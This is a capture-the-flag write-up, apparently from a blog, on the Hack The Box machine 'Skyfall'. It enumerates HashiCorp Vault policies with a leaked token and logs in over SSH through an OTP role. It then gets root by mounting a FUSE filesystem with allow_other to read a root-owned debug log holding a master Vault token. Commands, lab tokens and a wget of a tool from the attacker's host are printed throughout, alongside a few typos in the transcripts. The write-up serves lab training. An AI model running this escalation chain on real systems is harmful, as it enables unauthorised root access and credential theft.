aurora@feniks$ vault policy read default
Error reading policy named default: Error making API request.

URL: GET http://prd23-vault-internal.skyfall.htb/v1/sys/policies/acl/default
Code: 403. Errors:

* 1 error occurred:
        * permission denied

aurora@vault policy read developer
Error reading policy named developer: Error making API request.

URL: GET http://prd23-vault-internal.skyfall.htb/v1/sys/policies/acl/developer
Code: 403. Errors:

* 1 error occurred:
        * permission denied

It’s trying to access /v1/sys/policies/acl/developer and failing. There’s another endpoint in the docs which isn’t used (as far as I can tell) by the CLI, /v1/sys/policy/[name]. This one that works:

aurora@feniks$ curl -s -XGET "http://prd23-vault-internal.skyfall.htb/v1/sys/policy/developers" -H 'X-Vault-Token: hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE' | jq .
{
  "rules": "path \"sys/policy/developers\" {\n  capabilities = [  \"read\" ]\n}\n\npath \"ssh/*\" {\n  capabilities = [ \"list\" ]\n}\n\npath \"ssh/creds/dev_otp_key_role\" {\n  capabilities = [\"create\", \"read\", \"update\"]\n}\n",
  "name": "developers",
  "request_id": "d1ef5bf4-fde7-6dd9-eac4-675170bb4900",
  "lease_id": "",
  "renewable": false,
  "lease_duration": 0,
  "data": {
    "name": "developers",
    "rules": "path \"sys/policy/developers\" {\n  capabilities = [  \"read\" ]\n}\n\npath \"ssh/*\" {\n  capabilities = [ \"list\" ]\n}\n\npath \"ssh/creds/dev_otp_key_role\" {\n  capabilities = [\"create\", \"read\", \"update\"]\n}\n"
  },
  "wrap_info": null,
  "warnings": null,
  "auth": null
}

The rules is the most interesting part here:

aurora@feniks$ curl -s -XGET "http://prd23-vault-internal.skyfall.htb/v1/sys/policy/developers" -H 'X-Vault-Token: hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE' | jq '.rules' -r
path "sys/policy/developers" {
  capabilities = [  "read" ]
}

path "ssh/*" {
  capabilities = [ "list" ]
}

path "ssh/creds/dev_otp_key_role" {
  capabilities = ["create", "read", "update"]
}

It’s showing that this token has access to this SSH role, dev_otp_key_role.

sys/internal/ui/resultant-acl

This StackOverflow answer shows another endpoint in the CLI that will dump all the capabilities of the current token:
aurora@feniks$ vault read sys/internal/ui/resultant-acl --format=json|jq -r .data

{
  "exact_paths": {
    "auth/token/lookup-self": {
      "capabilities": [
        "read"
      ]
    },
    "auth/token/renew-self": {
      "capabilities": [
        "update"
      ]
    },
    "auth/token/revoke-self": {
      "capabilities": [
        "update"
      ]
    },
    "ssh/creds/dev_otp_key_role": {
      "capabilities": [
        "create",
        "read",
        "update"
      ]
    },
    "sys/capabilities-self": {
      "capabilities": [
        "update"
      ]
    },
    "sys/control-group/request": {
      "capabilities": [
        "update"
      ]
    },
    "sys/internal/ui/resultant-acl": {
      "capabilities": [
        "read"
      ]
    },
    "sys/leases/lookup": {
      "capabilities": [
        "update"
      ]
    },
    "sys/leases/renew": {
      "capabilities": [
        "update"
      ]
    },
    "sys/policy/developers": {
      "capabilities": [
        "read"
      ]
    },
    "sys/renew": {
      "capabilities": [
        "update"
      ]
    },
    "sys/tools/hash": {
      "capabilities": [
        "update"
      ]
    },
    "sys/wrapping/lookup": {
      "capabilities": [
        "update"
      ]
    },
    "sys/wrapping/unwrap": {
      "capabilities": [
        "update"
      ]
    },
    "sys/wrapping/wrap": {
      "capabilities": [
        "update"
      ]
    }
  },
  "glob_paths": {
    "cubbyhole/": {
      "capabilities": [
        "create",
        "delete",
        "list",
        "read",
        "update"
      ]
    },
    "ssh/": {
      "capabilities": [
        "list"
      ]
    },
    "sys/tools/hash/": {
      "capabilities": [
        "update"
      ]
    }
  },
  "root": false
}

This output shows that this token has createread, and update capabilities on ssh/creds/dev_otp_key_role.

SSH

Knowing that this token can access dev_otp_key_role, and with a list of usernames from MinIO, I’ll start trying to log in over SSH with vault. askyy is the lead developer who had this token in their .bashrc, so I’ll try them first:
aurora@feniks$ vault ssh -role dev_otp_key_role -mode otp askyy@skyfall.htb
failed to run ssh command: exit status 6

vault ssh requires a mode, and given the term “otp” in the role name, I’ll go with that. The binary here is making a request to the API (/v1/ssh/creds/dev_otp_key_role) and using the password it gets back with sshpass to try to connect. It still may fail.Exit status 6, which the sshpass man page says:

As with any other program, sshpass returns 0 on success. In case of failure, the following return codes are used:

  1. Invalid command line argument
  2. Conflicting arguments given
  3. General runtime error
  4. Unrecognized response from ssh (parse error)
  5. Invalid/incorrect password
  6. Host public key is unknown. sshpass exits without confirming the new key.

It’s a public key issue! If I add in --strict-host-key-checking=no, it works:

aurora@feniks$ ault ssh --role dev_otp_key_role --mode otp --strict-host-key-checking=no askyy@skyfall.htb
Warning: Permanently added 'skyfall.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)
...[snip]...
askyy@skyfall:~$

Alternatively, if I ever connect to this SSH and accept the key (even without the right password), it’ll also work.And I can grab user.txt:

askyy@skyfall:~$ cat user.txt
********************************

Shell as root

Enumeration

Home Directories
askyy is the only user with a home directory in /home:
askyy@skyfall:/home$ ls
askyy

And the only non-root user with a shell set in passwd:

askyy@skyfall:/home$ grep "sh$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
askyy:x:1000:1000:Aurora Skyy:/home/askyy:/bin/bash

sudo

There’s a sudo rule for askyy:

askyy@skyfall:~$ sudo -l
Matching Defaults entries for askyy on skyfall:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User askyy may run the following commands on skyfall:
    (ALL : ALL) NOPASSWD: /root/vault/vault-unseal ^-c /etc/vault-unseal.yaml -[vhd]+$
    (ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml

This user can run the vault-unseal binary with a specific yaml file and with one or more of the arguments vdh.Running this program with -h shows the help menu:

askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -h
Usage:
  vault-unseal [OPTIONS]

Application Options:
  -v, --verbose        enable verbose output
  -d, --debug          enable debugging output to file (extra logging)
  -c, --config=PATH    path to configuration file

Help Options:
  -h, --help           Show this help message

It looks like a modified version of [this program][(GitHub - lrstanley/vault-unseal: auto-unseal utility for Hashicorp Vault). Instead of offering --log-path, it offers --debug.Running it does generate a debug.log file in the current directory:

askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[+] Found Vault node: http://prd23-vault-internal.skyfall.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false
askyy@skyfall:~$ ls -l
total 8
-rw------- 1 root root  590 Aug 27 12:37 debug.log
-rw-r----- 1 root askyy  33 Aug 25 17:49 user.txt

It is owned by root and only readable by root. askyy can rename it and delete it, but not access it’s contents directly.

Abusing Fuse

Background

This is a rather niche case, but there’s a file that root is writing that I want to read. I can control where it writes, but still can’t see it.I’m going to abuse Filesystem in Userspace (or FUSE) for this. It’s installed on many Linux distros by default and used for virtual filesystems. In the default /etc/fuse.conf, there’s one risky option (I believe commented out by default), user_allow_other:
# The file /etc/fuse.conf allows for the following parameters:
#
# user_allow_other - Using the allow_other mount option works fine as root, in
# order to have it work as user you need user_allow_other in /etc/fuse.conf as
# well. (This option allows users to use the allow_other option.) You need
# allow_other if you want users other than the owner to access a mounted fuse.
# This option must appear on a line by itself. There is no value, just the
# presence of the option.

#user_allow_other


# mount_max = n - this option sets the maximum number of mounts.
# Currently (2014) it must be typed exactly as shown
# (with a single space before and after the equals sign).

#mount_max = 1000

This StackOverflow answer goes into the risks of this configuration.Basically, when a user creates a filesystem, without this option, only that user can access the filesystem. However, once user_allow_other is activated, then other users can create filesystems that other users can access.

FUSE Applications

A very common FUSE application is sshfs, which allows for creating a filesystem on a remote computer over SSH. So in theory, I could SSHFS from Skyfall back into my host, creating a mount on Skyfall that maps to a folder on my host. Then, because of user_allow_others, when root writes the log file to this mount, it will show up on my system, and I can access it as the user I SSHed as.However, opening my machine to SSH in the HTB labs is something I generally avoid doing. There’s a neat Go project, go-fuse, that has a bunch of example scripts the create various FUSE-based applications. One of particular interest is memfs. This mounts a folder as a FUSE filesystem, and logs all files written to into that FS to files.

Local memfs Demo

I’ll clone the repo to my box and go into the examples/memfs directory. There I’ll build the project:
aurora@feniks$ ls
main.go
aurora@feniks$ go build
error obtaining VCS status: exit status 128
        Use -buildvcs=false to disable VCS stamping.
aurora@feniks$ go build -buildvcs=false
aurora@feniks$ ls
main.go  memfs

The memfs binary takes a directory to mount and a prefix for the output files:

aurora@feniks$ ./memfs 
usage: main MOUNTPOINT BACKING-PREFIX

I’ll create a test directory and run it, where it hangs:

aurora@feniks$ ./memfs ~/testfs/ memfsoutput-
Mounted!

From another terminal, I’ll write some files into the new FS:

aurora@feniks$ echo "testing..." > test/test1
aurora@fenikscky$ echo "testing again..." > testfs/test2

In the directory I ran memfs from, there’s two new files:

aurora@feniks$ ls
main.go  memfs  memfsoutput-1  memfsoutput-2
aurora@fenikscky$ cat memfsoutput-1
testig...
aurora@feniks@hacky$ cat memfsoutput-2
testing again...

If I try to write to the filesystem as root, it fails:

root@hacky:/home/oxdf# echo "this is a root test" > testfs/from_root
-bash: testfs/from_root: Permission denied

That’s because my system isn’t set up with user_allow_others. If I go into /etc/fuse.conf and uncomment that line, it still fails. I’ll need to update the Go script slightly. I’ll kill the mount, and sudo umount ~/testfs.In main.go, I’ll add an option for the fuse creation:

        server, err := fuse.NewServer(conn.RawFS(), mountPoint, &fuse.MountOptions{
                Debug: *debug,
                AllowOther: true, // added this
        })

Now I’ll rebuild and re-mount:

aurora@feniks$ go build -buildvcs=false
aurora@feniks$ ./memfs ~/testfs/ memfsoutput-
Mounted!

Now from a root shell:

root@feniks:/home/aurora# echo "now it should work" > testfs/as_root
root@feniks:/home/aurora# cat testfs/as_root 
now it should work

And the file got logged:

root@feniks:/home/aurora# cat hackthebox/skyfall-10.10.11.254/go-fuse/example/memfs/memfsoutput-1 
now it should work

On Skyfall

I’ll upload the compiled memfs to Skyfall, create a directory, and mount it:
askyy@skyfall:/dev/shm$ wget 10.10.14.6/memfs
--2024-08-27 18:33:29--  http://10.10.14.6/memfs
Connecting to 10.10.14.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3500122 (3.3M) [application/octet-stream]
Saving to: ‘memfs’
askyy@skyfall:/dev/shm$ mkdir out
askyy@skyfall:/dev/shm$ chmod +x memfs 
askyy@skyfall:/dev/shm$ ./memfs
usage: main MOUNTPOINT BACKING-PREFIX
askyy@skyfall:/dev/shm$ ./memfs out/ out
Mounted!

In another SSH window, I’ll go into that directory and run vault-unseal:

askyy@skyfall:/dev/shm/out$ cat debug.log 
2024/08/27 18:34:49 Initializing logger...
2024/08/27 18:34:49 Reading: /etc/vault-unseal.yaml
2024/08/27 18:34:49 Security Risk!
2024/08/27 18:34:49 Master token found in config: hvs.I0ewVsmaKU1SwVZAKR3T0mmG
2024/08/27 18:34:49 Found Vault node: http://prd23-vault-internal.skyfall.htb
2024/08/27 18:34:49 Check interval: 5s
2024/08/27 18:34:49 Max checks: 5
2024/08/27 18:34:49 Establishing connection to Vault...
2024/08/27 18:34:49 Successfully connected to Vault: http://prd23-vault-internal.skyfall.htb
2024/08/27 18:34:49 Checking seal status
2024/08/27 18:34:49 Vault sealed: false

It created debug.log, but because of where it’s stored, it’s owned by askyy:

askyy@skyfall:/dev/shm/out$ ls -l
total 4
-rw------- 1 askyy askyy 590 Aug 27 18:34 debug.log

Admin Vault

debug.log

The debug.log file leads the token being used with it:
askyy@skyfall:/dev/shm/out$ cat debug.log 
2024/08/27 18:34:49 Initializing logger...
2024/08/27 18:34:49 Reading: /etc/vault-unseal.yaml
2024/08/27 18:34:49 Security Risk!
2024/08/27 18:34:49 Master token found in config: hvs.I0ewVsmaKU1SwVZAKR3T0mmG
2024/08/27 18:34:49 Found Vault node: http://prd23-vault-internal.skyfall.htb
2024/08/27 18:34:49 Check interval: 5s
2024/08/27 18:34:49 Max checks: 5
2024/08/27 18:34:49 Establishing connection to Vault...
2024/08/27 18:34:49 Successfully connected to Vault: http://prd23-vault-internal.skyfall.htb
2024/08/27 18:34:49 Checking seal status
2024/08/27 18:34:49 Vault sealed: false

Login

This token works via the vault login command:
aurora@feniks$ vault login
Token (will be hidden): 
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key                  Value                                                                    
---                  -----  
token                hvs.I0ewVsmaKU1SwVZAKR3T0mmG                
token_accessor       bXBeXR3r92WGQ8XgEDx6pIFu                                                 
token_duration       ∞                         
token_renewable      false
token_policies       ["root"]               
identity_policies    []       
policies             ["root"]

It has the root policy! That’s promising.

SSH

| There’s a bunch of enumeration I could do, but I’ll remember there were two SSH roles:

<br>aurora@feniks$ vault list ssh/roles<br>Keys<br>----<br>admin_otp_key_role<br>dev_otp_key_role<br>

This token can read the roles:

<br>aurora@feniks$ vault read ssh/roles/admin_otp_key_role<br>Key Value<br>--- -----<br>allowed_users root<br>cidr_list 10.0.0.0/8<br>default_user nobody<br>exclude_cidr_list n/a<br>key_type otp<br>port 22<br>

The user allowed is root. I’ll SSH:

<br>aurora@feniks$ vault ssh -role admin_otp_key_role -mode otp root@skyfall.htb<br>Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)<br>...[snip]...<br>

And grab the flag:

```
root@skyfall:~# cat root.txt
***


Aurora_Feniks

I have extensive experience working on various projects within the IT field, which has provided me with a comprehensive understanding of all areas related to information technology. My expertise in cyber security and my hands-on experience with current scenarios have given me a well-rounded perspective on security issues.

Post a Comment

Hello, share your thoughts with us.

Previous Post Next Post

İletişim Formu